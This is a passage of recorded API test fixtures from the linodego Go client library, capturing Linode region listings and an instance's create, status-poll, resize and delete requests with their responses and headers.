172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5, 139.162.131.5, 139.162.132.5, 139.162.133.5, 139.162.134.5, 139.162.135.5, 139.162.136.5, 139.162.137.5, 139.162.138.5, 139.162.139.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}], "page": 1, "pages": 1, "results": 24}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 18 Dec 2023 21:12:50 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-69704qp2rzub","root_pass":"Ow74z`=i#*a0S-fDs/C099kKO]ILW9CYo0s3T[5~6r`\u003en7=Bc-k5IIx5(s!o:77F","image":"linode/debian9","booted":true}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 53192567, "label": "go-test-ins-69704qp2rzub", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.40.136"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "58aedbba0dcf59523f1880abcc80ec241436277e", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "742" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 18 Dec 2023 21:12:51 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53192567 method: GET response: body: '{"id": 53192567, "label": "go-test-ins-69704qp2rzub", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.40.136"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "58aedbba0dcf59523f1880abcc80ec241436277e", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "742" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 18 Dec 2023 21:13:06 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53192567 method: GET response: body: '{"id": 53192567, "label": "go-test-ins-69704qp2rzub", "group": "", "status": "booting", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.40.136"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "58aedbba0dcf59523f1880abcc80ec241436277e", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "737" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 18 Dec 2023 21:13:21 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53192567 method: GET response: body: '{"id": 53192567, "label": "go-test-ins-69704qp2rzub", "group": "", "status": "running", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.105.40.136"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "58aedbba0dcf59523f1880abcc80ec241436277e", "has_user_data": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "737" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 18 Dec 2023 21:13:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"type":"g6-standard-1","migration_type":"warm"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53192567/resize method: POST response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 18 Dec 2023 21:13:37 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/53192567 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Mon, 18 Dec 2023 21:13:38 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestInstance_Volumes_List.yaml000066400000000000000000000276771455402072200325730ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", 